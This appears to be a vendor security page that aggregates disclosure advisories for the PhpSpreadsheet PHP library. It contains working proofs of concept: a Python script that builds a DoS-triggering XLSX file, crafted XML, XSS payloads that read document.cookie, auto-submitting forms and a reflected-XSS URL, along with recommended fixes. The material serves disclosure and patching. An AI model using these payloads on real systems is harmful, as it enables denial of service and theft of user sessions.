See how phpoffice compares to other vendors in security performance
Summary
The XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAXROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.
Details
In src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php at line 216, the row index is cast directly from XML without bounds checking:
php // ColumnAndRowAttributes.php:216 $rowIndex = (int) $row['r']; // No validation against AddressRange::MAXROW
This value flows through setRowAttributes() (line 126) → $this->worksheet->getRowDimension($rowNumber) (line 60), which updates the cached highest row in Worksheet.php:1348:
php // Worksheet.php:1342-1349 public function getRowDimension(int $row): RowDimension { if (!isset($this->rowDimensions[$row])) { $this->rowDimensions[$row] = new RowDimension($row); $this->cachedHighestRow = max($this->cachedHighestRow, $row); } return $this->rowDimensions[$row]; }
The inflated cachedHighestRow is then returned by getHighestRow() (line 1099) and used as the default end bound in RowIterator::resetEnd() (RowIterator.php:86):
php // RowIterator.php:86 $this->endRow = $endRow ?: $this->subject->getHighestRow();
Notably, column attributes already have equivalent validation at line 161 (AddressRange::MAXCOLUMNINT), and cell coordinates are validated in Coordinate::coordinateFromString() (line 40) against MAXROW. The row dimension attribute path bypasses both of these checks.
PoC
Step 1: Create the malicious XLSX file (~1.6KB)
python import zipfile import io
contenttypes = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'
rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'
workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'
wbrels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>'
sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>'
with zipfile.ZipFile('dosrow.xlsx', 'w', zipfile.ZIPDEFLATED) as zf: zf.writestr('[ContentTypes].xml', contenttypes) zf.writestr('rels/.rels', rels) zf.writestr('xl/workbook.xml', workbook) zf.writestr('xl/rels/workbook.xml.rels', wbrels) zf.writestr('xl/worksheets/sheet1.xml', sheet)
print("Created dosrow.xlsx")
Step 2: Load with PhpSpreadsheet (CPU exhaustion)
php <?php require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;
$reader = IOFactory::createReader('Xlsx'); $spreadsheet = $reader->load('dosrow.xlsx'); $sheet = $spreadsheet->getActiveSheet();
echo "Highest row: " . $sheet->getHighestRow() . "\n"; // Output: Highest row: 999999999
// This will consume CPU for ~144 seconds (999M iterations) foreach ($sheet->getRowIterator() as $row) { // CPU exhaustion }
Expected output: getHighestRow() returns 999999999. Any row iteration hangs indefinitely.
Impact
- CPU Denial of Service: A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using getRowIterator() or uses getHighestRow() as a loop bound. Estimated CPU burn is ~144 seconds per file. - Memory Exhaustion: Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory. - Amplification: The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations. - Common Attack Surface: PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.
Recommended Fix
Add row bounds validation in readRowAttributes() at line 216, matching the column validation pattern already present at line 161:
php // src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216 // Before: $rowIndex = (int) $row['r'];
// After: $rowIndex = (int) $row['r']; if ($rowIndex < 1 || $rowIndex > AddressRange::MAXROW) { continue; }
The AddressRange import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in Coordinate::coordinateFromString() and the column validation at line 161.
Summary
The SpreadsheetML XML reader (Reader\Xml) does not validate the ss:Index row attribute against the maximum allowed row count (AddressRange::MAXROW = 1,048,576). An attacker can craft a SpreadsheetML XML file with ss:Index="999999999" on a <Row> element, which inflates the internal cachedHighestRow to ~1 billion. Any subsequent call to getRowIterator() without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service.
Details
In src/PhpSpreadsheet/Reader/Xml.php, the loadSpreadsheetFromFile method processes <Row> elements:
php // Xml.php:397-402 if (isset($rowss['Index'])) { $rowID = (int) $rowss['Index']; // No validation against MAXROW } if (isset($rowss['Hidden'])) { $rowVisible = ((string) $rowss['Hidden']) !== '1'; $spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible); }
The $rowID value read from ss:Index is cast to int with no upper bound check. It is then passed to getRowDimension():
php // Worksheet.php:1342-1351 public function getRowDimension(int $row): RowDimension { if (!isset($this->rowDimensions[$row])) { $this->rowDimensions[$row] = new RowDimension($row); $this->cachedHighestRow = max($this->cachedHighestRow, $row); } return $this->rowDimensions[$row]; }
This inflates cachedHighestRow to the attacker-controlled value. Additionally, at line 412, $cellRange = $columnID . $rowID is constructed and passed to getCell(), which calls createNewCell() (Worksheet.php:1294) and also sets cachedHighestRow.
The RowIterator constructor uses getHighestRow() as its default end row:
php // RowIterator.php:84-88 public function resetEnd(?int $endRow = null): static { $this->endRow = $endRow ?: $this->subject->getHighestRow(); return $this; }
With cachedHighestRow at ~1 billion, iterating over rows causes CPU exhaustion. The DefaultReadFilter provides no protection — it returns true for all cells.
Even without the Hidden attribute, any cell data within the row still uses the inflated $rowID at line 412, so the ss:Hidden attribute is not required to trigger the vulnerability.
PoC
1. Create poc.xml: xml <?xml version="1.0"?> <?mso-application progid="Excel.Sheet"?> <Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet"> <Worksheet ss:Name="Sheet1"> <Table> <Row ss:Index="999999999" ss:Hidden="1"/> <Row><Cell><Data ss:Type="String">test</Data></Cell></Row> </Table> </Worksheet> </Workbook>
2. Load and iterate: php <?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\IOFactory;
$reader = IOFactory::createReader('Xml'); $spreadsheet = $reader->load('poc.xml'); $sheet = $spreadsheet->getActiveSheet();
echo "Highest row: " . $sheet->getHighestRow() . "\n"; // Outputs: Highest row: 1000000000
// This loop will attempt ~1 billion iterations → CPU exhaustion foreach ($sheet->getRowIterator() as $row) { // Never completes }
Impact
Any PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by:
- Exhausting server CPU with a single small XML file (~300 bytes) - Blocking the PHP worker process, potentially affecting all concurrent users - Triggering PHP maxexecutiontime limits that still consume resources before killing the process
The attack requires no authentication — only the ability to upload or cause the application to process a crafted SpreadsheetML file.
Recommended Fix
Add MAXROW validation after reading the ss:Index attribute in src/PhpSpreadsheet/Reader/Xml.php:
php // After line 398: if (isset($rowss['Index'])) { $rowID = (int) $rowss['Index']; if ($rowID > AddressRange::MAXROW) { $rowID = AddressRange::MAXROW; } }
Add the necessary import at the top of the file: php use PhpOffice\PhpSpreadsheet\Cell\AddressRange;
The same validation should also be applied to the ss:Index attribute on <Cell> elements (line 409) for the column dimension.
PhpSpreadsheet is a library for reading and writing spreadsheet files. In versions 1.30.2 and earlier, 2.0.0 through 2.1.14, 2.2.0 through 2.4.3, 3.3.0 through 3.10.3, and 4.0.0 through 5.5.0, when the filename argument to IOFactory::load() is user-controlled, an attacker can supply a PHP stream wrapper path (such as phar://, ftp://, or ssh2.sftp://) that passes the isfile() check in File::assertFile(). The phar:// wrapper triggers deserialization of the PHAR metadata, which can lead to remote code execution if a suitable gadget chain is available in the application. The ftp:// and ssh2.sftp:// wrappers can be used for server-side request forgery. This issue has been fixed in versions 1.30.3, 2.1.15, 2.4.4, 3.10.4, and 5.6.0.
It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.
The Problem
In Writer/Html.php around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply htmlspecialchars():
php if ($cellData === $origData) { $cellData = htmlspecialchars($cellData, ...); }
When a cell has a custom number format containing @ (text placeholder) with any additional literal characters, the formatter replaces @ with the cell value and adds the extra characters. This makes $cellData !== $origData, so htmlspecialchars() is skipped entirely.
Even a single trailing space in the format (@ ) is enough to bypass the escape.
Proof of Concept
php use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Html; use PhpOffice\PhpSpreadsheet\Cell\DataType;
$spreadsheet = new Spreadsheet(); $sheet = $spreadsheet->getActiveSheet();
// XSS payload with malicious number format $sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPESTRING); $sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');
$writer = new Html($spreadsheet); $writer->save('output.html');
The generated HTML contains: html <td>. <img src=x onerror=alert(document.cookie)></td>
The XSS payload is completely unescaped.
Tested Bypass Formats
| Format Code | Result | Escaped? | |---|---|---| | General (default) | Original value | YES (safe) | | . @ | . + value | NO (XSS!) | | @ (trailing space) | value + | NO (XSS!) | | x@ | x + value | NO (XSS!) |
This was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.
Impact
Any application that: 1. Accepts uploaded XLSX files from users 2. Converts them to HTML using PhpSpreadsheet's HTML writer 3. Displays the HTML to other users
...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's xl/styles.xml.
Suggested Fix
Always apply htmlspecialchars() regardless of whether formatting changed the value:
php // Instead of conditional escaping: $cellData = htmlspecialchars($cellData, ENTQUOTES | ENTSUBSTITUTE, 'UTF-8');
Or escape AFTER formatting, not conditionally based on equality.
Reporter Keyvan Hardani
Summary The HTML Writer in PhpSpreadsheet bypasses htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items" or "Total: "@). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.
Details
1. Conditional escaping in Html.php:1586-1594
php $cellData = NumberFormat::toFormattedString( $origData2, $formatCode ?? NumberFormat::FORMATGENERAL, [$this, 'formatColor'] );
if ($cellData === $origData) { $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags()); }
htmlspecialchars() is only called when $cellData === $origData (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.
2. Early return in Formatter.php:136-152
php if (pregmatch(self::SECTIONSPLIT, $format) === 0 && pregmatch(self::SYMBOLAT, $formatx) === 1) { if (!strcontains($format, '"')) { return strreplace('@', / raw value /, $format); } return strreplace(/ ... pregreplace with raw value ... /); }
When the format code contains @ with additional literal text (e.g., @ "items"), the formatter substitutes the raw cell value into the format string and returns early — the formatColor callback (which would have applied htmlspecialchars) is never invoked.
PoC
test.php php <?php
require '/app/vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Html;
$spreadsheet = new Spreadsheet(); $sheet = $spreadsheet->getActiveSheet();
$payload = '<img src=x onerror=alert(document.domain)>'; $formatCode = '@ "items"';
$sheet->setCellValue('A1', $payload); $sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);
$writer = new Html($spreadsheet); $html = $writer->generateHTMLAll();
fileputcontents('/app/output.html', $html);
echo "HTML output saved to /app/output.html\n";
The produced output contains unescaped data. html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" /> <title>Untitled Spreadsheet</title> <meta name="author" content="Unknown Creator" /> <meta name="title" content="Untitled Spreadsheet" /> <meta name="lastModifiedBy" content="Unknown Creator" /> <meta name="created" content="2026-04-02T16:34:44+00:00" /> <meta name="modified" content="2026-04-02T16:34:44+00:00" /> <style type="text/css"> [..SNIP..] </style> </head>
<body> <div style='page: page0'> <table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'> <col class="col0" /> <tbody> <tr class="row0"> <td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td> </tr> </tbody></table> </div> </body> </html>
<img width="719" height="716" alt="Screenshot 2026-04-02 at 18 45 53" src="https://github.com/user-attachments/assets/b758b063-a2d1-4e76-87bb-931eae81dbfe" />
Impact
The impact changes based on the way the HTML is served. In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.
Product: PhpSpreadsheet Version: 3.8.0 CWE-ID: CWE-918: Server-Side Request Forgery (SSRF) CVSS vector v.3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) CVSS vector v.4.0: 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N) Description: SSRF occurs when a processed HTML document is read and displayed in the browser Impact: Server-Side Request Forgery Vulnerable component: the PhpOffice\PhpSpreadsheet\Worksheet\Drawing class, setPath method Exploitation conditions: getting a string from the user that is passed to the HTML reader Mitigation: improved processing of the $path variable of the setPath method of the PhpOffice\PhpSpreadsheet\Worksheet\Drawing class is needed Researcher: Aleksey Solovev (Positive Technologies)
Research The researcher discovered zero-day vulnerability Server-Side Request Forgery (SSRF) (in the setPath method of the PhpOffice\PhpSpreadsheet\Worksheet\Drawing class) in Phpspreadsheet. The latest version (3.8.0) of the phpoffice/phpspreadsheet library was installed. Below are the details of the installation:
Listing 1. Installing the phpoffice/phpspreadsheet library $ composer require phpoffice/phpspreadsheet --prefer-source The code that processes the HTML string with further rendering and displaying the result in the browser. Listing 2. Executable file index.php using the PhpSpreadsheet library <?php
require DIR . '/vendor/autoload.php';
$inputFileType = 'Html'; $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);
$inputFileName = './doc/file.html'; $spreadsheet = $reader->load($inputFileName);
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll());
Also, the ./doc/file.html has the following content: the img tag with the src attribute, which contains the value http:// 127.0.0.1:1337
Listing 3. The ./doc/file.html file <table> <tr> <img src="http://127.0.0.1:1337"> </tr> </table> The vulnerability lies in the setPath method of the PhpOffice\PhpSpreadsheet\Worksheet\Drawing class. Figure 1. The PhpOffice\PhpSpreadsheet\Worksheet\Drawing class, setPath method.
!fig1
Figure 2 below demonstrates the SSRF vulnerability exploitation.
!fig2
Figure 2. Demonstration of the SSRF vulnerability exploitation
Also, there is code on line 154 that could potentially be used by an attacker to perform unsafe deserialization via the phar archive and the fileexists method. Figure 3. Opportunity to perform phar deserialization !fig3
Please, assign all credits to: Aleksey Solovev (Positive Technologies)
Credit
Aleksey Solovev (Positive Technologies)
Summary The researcher discovered zero-day vulnerability Cross-Site Scripting (XSS) vulnerability in the code which translates the XLSX file into a HTML representation and displays it in the response.
Details When generating the HTML from an xlsx file containing multiple sheets, a navigation menu is created. This menu includes the sheet names, which are not sanitized. As a result, an attacker can exploit this vulnerability to execute JavaScript code.
php // Construct HTML $html = '';
// Only if there are more than 1 sheets if (count($sheets) > 1) { // Loop all sheets $sheetId = 0;
$html .= '<ul class="navigation">' . PHPEOL;
foreach ($sheets as $sheet) { $html .= ' <li class="sheet' . $sheetId . '"><a href="#sheet' . $sheetId . '">' . $sheet->getTitle() . '</a></li>' . PHPEOL; ++$sheetId; }
$html .= '</ul>' . PHPEOL; }
PoC 1. Create an XLSX file with multiple sheets : !image
2. Generate the HTML content php <?php require DIR . '/vendor/autoload.php';
$inputFileName = 'payload.xlsx'; $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($inputFileName); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); $writer->writeAllSheets(); echo $writer->generateHTMLAll(); ?> 3. Enjoy !image
Impact
XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Example of impacts :
- Disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account (Only if HttpOnly cookie's flag is set to false). - Redirecting the user to some other page or site (like phishing websites) - Modifying the content of the current page (add a fake login page that sends credentials to the attacker). - Automatically download malicious files. - Requests access to the victim geolocation / camera. - ...
Bypass XSS sanitizer using the javascript protocol and special characters
Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) Description: an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link Impact: executing arbitrary JavaScript code in the browser Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateRow Exploitation conditions: a user viewing a specially generated Excel file Mitigation: additional sanitization of special characters in a string Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet.
The following code is written on the server, which translates the XLSX file into a HTML representation and displays it in the response.
Listing 6. Source code on the server
<?php
require DIR . '/vendor/autoload.php';
$inputFileName = './doc/Book1.xlsx'; $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($inputFileName); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll());
An attacker can use special characters so that this library processes the javascript protocol with special characters and generates a HTML link. The Excel file is unpacked and a hyperlink in the file is inserted into the xl/worksheets/sheet1.xml file.
!fig11
Figure 11. Using the javascript protocol with special characters
Some payloads help bypass the security system and carry out a XSS attack.
Listing 7. HTML form that demonstrates the exploitation of the XSS vulnerability
jav	ascript:alert() jav
ascript:alert() jav
ascript:alert()
It's clear that the javascript protocol with special characters is used.
!fig12
Figure 12. Using the javascript protocol with special characters
Due to the special characters, the execution stream ends up on line 1543, and the link is built in HTML form with the javascript protocol.
<img width="373" alt="fig13" src="https://github.com/user-attachments/assets/3ca0c3c6-daa9-4502-ad9e-b803f308fd26" />
Figure 13. Executing arbitrary JavaScript code
Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
Cross-Site Scripting (XSS) vulnerability of the hyperlink base in the HTML page header
Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) Description: the HTML page is formed without sanitizing the hyperlink base Impact: executing arbitrary JavaScript code in the browser Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateHTMLHeader Exploitation conditions: a user viewing a specially generated Excel file Mitigation: additional sanitization of special characters in a string Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Cross-Site Scripting (XSS) vulnerability of the hyperlink base in the HTML page header in Phpspreadsheet. The following code is written on the server, which translates the XLSX file into a HTML representation and displays it in the response.
Listing 8. Source code on the server
<?php
require DIR . '/vendor/autoload.php';
$inputFileName = './doc/Book1.xlsx'; $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($inputFileName); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll());
An attacker can embed a payload in a file property that will result in the execution of arbitrary JavaScript code. The Excel file is unpacked and a HyperlinkBase in the file is inserted into the docProps/app.xml file.
!fig14
Figure 14. Embedding the payload
After the changes were made, a new archive with the xlsx extension was created. At the moment of converting the xlsx file into the HTML representation, a property is obtained that participates in the formation of a string without sanitization.
!fig15
Figure 15. Generating the HTML page header using the HyperlinkBase property
After generating and displaying the HTML representation of the XLSX file, arbitrary JavaScript code will be executed. <img width="356" alt="fig16" src="https://github.com/user-attachments/assets/c3694661-31e3-4be8-9a86-6eb4dd4647b5" />
Figure 16. Executing arbitrary JavaScript code
Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
Cross-Site Scripting (XSS) vulnerability in custom properties
Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) Description: the HTML page is generated without clearing custom properties Impact: executing arbitrary JavaScript code in the browser Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateMeta Exploitation conditions: a user viewing a specially generated Excel file Mitigation: additional sanitization of special characters in a string Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Cross-Site Scripting (XSS) vulnerability in custom properties in Phpspreadsheet. The following code is written on the server, which translates the XLSX file into a HTML representation and displays it in the response.
Listing 9. Source code on the server
<?php
require DIR . '/vendor/autoload.php';
$inputFileName = './doc/Book1.xlsx'; $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($inputFileName); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll());
An attacker can embed a payload in a file property that will result in the execution of arbitrary JavaScript code. The Excel file is unpacked and a custom property in the file is inserted into the docProps/custom.xml file.
!fig17
Figure 17. Embedding the payload
After making the changes, a new archive with the xlsx extension was created. At the moment of converting the xlsx file into an HTML representation, a property is obtained that participates in the formation of a string without sanitization.
!fig18
Figure 18. Getting a custom property
When calling the static generateMeta method, you can see that the key of the custom property is displayed without sanitization.
!fig19
Figure 19. Getting a custom property
As a result, when viewing the excel file as the HTML representation, arbitrary JavaScript code will be executed.
<img width="356" alt="fig20" src="https://github.com/user-attachments/assets/a6ed21e3-685c-415c-b2dc-453bc0652bef" />
Figure 20. Executing arbitrary JavaScript code
Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
Unauthorized Reflected XSS in Currency.php file
Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the currency variable Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Currency.php file) in Phpspreadsheet.
There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, controlled by an attacker.
!fig9
Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization
An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.
Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://192.../vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST"> <input type="hidden" name="number" value="1234.5678" /> <input type="hidden" name="currency" value="$'"<img src=1 onerror=alert()>" /> <input type="hidden" name="decimals" value="2" /> <input type="hidden" name="position" value="1" /> <input type="hidden" name="spacing" value="0" /> <input type="hidden" name="submit" value="Display Mask" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>
After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form.
<img width="428" alt="fig10" src="https://github.com/user-attachments/assets/2be8c94b-03ac-40d9-aa7a-9d326eb79335" />
Figure 10. Executing arbitrary JavaScript code
Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
Unauthorized Reflected XSS in the Accounting.php file
Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php script, an attacker can perform a XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the currency variable Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Accounting.php file) in Phpspreadsheet.
There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, which is controlled by the attacker.
!fig7
Figure 7. A fragment of the query in which a string and a parameter are formed without sanitization
An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.
Listing 4. HTML form that demonstrates the exploitation of the XSS vulnerability
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://192.../vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php" method="POST"> <input type="hidden" name="number" value="1234.5678" /> <input type="hidden" name="currency" value="$<img src=1 onerror=alert()>" /> <input type="hidden" name="decimals" value="2" /> <input type="hidden" name="position" value="1" /> <input type="hidden" name="spacing" value="0" /> <input type="hidden" name="submit" value="Display Mask" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>
After sending the script provided in Listing 4, the XSS vulnerability is exploited. Figure 8 shows the execution of arbitrary JavaScript code during the submission of a POST form.
<img width="460" alt="fig8" src="https://github.com/user-attachments/assets/b009256e-61f7-4d72-8f6a-cc6e0efe2bb1" />
Figure 8. Executing arbitrary JavaScript code
Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
Unauthorized Reflected XSS in the constructor of the Downloader class
Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/download.php script, an attacker can perform a XSS-type attack Impact: execution of arbitrary JavaScript code in the browser Vulnerable component: the constructor of the Downloader class Exploitation conditions: an unauthorized user Mitigation: sanitization of the name and type variables Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in the constructor of the Downloader class) in Phpspreadsheet.
The latest version (3.6.0) of the phpoffice/phpspreadsheet library was installed. The installation was carried out with the inclusion of examples.
Listing 1. Installing the phpoffice/phpspreadsheet library $ composer require phpoffice/phpspreadsheet --prefer-source
The ./vendor/phpoffice/phpspreadsheet/samples/download.php file processes the GET parameters name and type.
!fig1
Figure 1. The ./vendor/phpoffice/phpspreadsheet/samples/download.php file accepts GET parameters.
Consider the constructor of the Downloader class, where GET parameters are passed. Error is displayed without sanitization using GET parameters transmitted from the user.
!fig2
Figure 2. Error is displayed without sanitization
When clicking on the following link, arbitrary JavaScript code will be executed.
Listing 2. https://192.../vendor/phpoffice/phpspreadsheet/samples/download.php?name=%3Cimg%20src=1%20onerror=alert()%3E&type=1
Demonstration of the execution of arbitrary JavaScript code.
<img width="537" alt="fig3" src="https://github.com/user-attachments/assets/745d6e21-396f-4357-8ff8-e856adf15fee" />
Figure 3. Executing arbitrary JavaScript code
Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
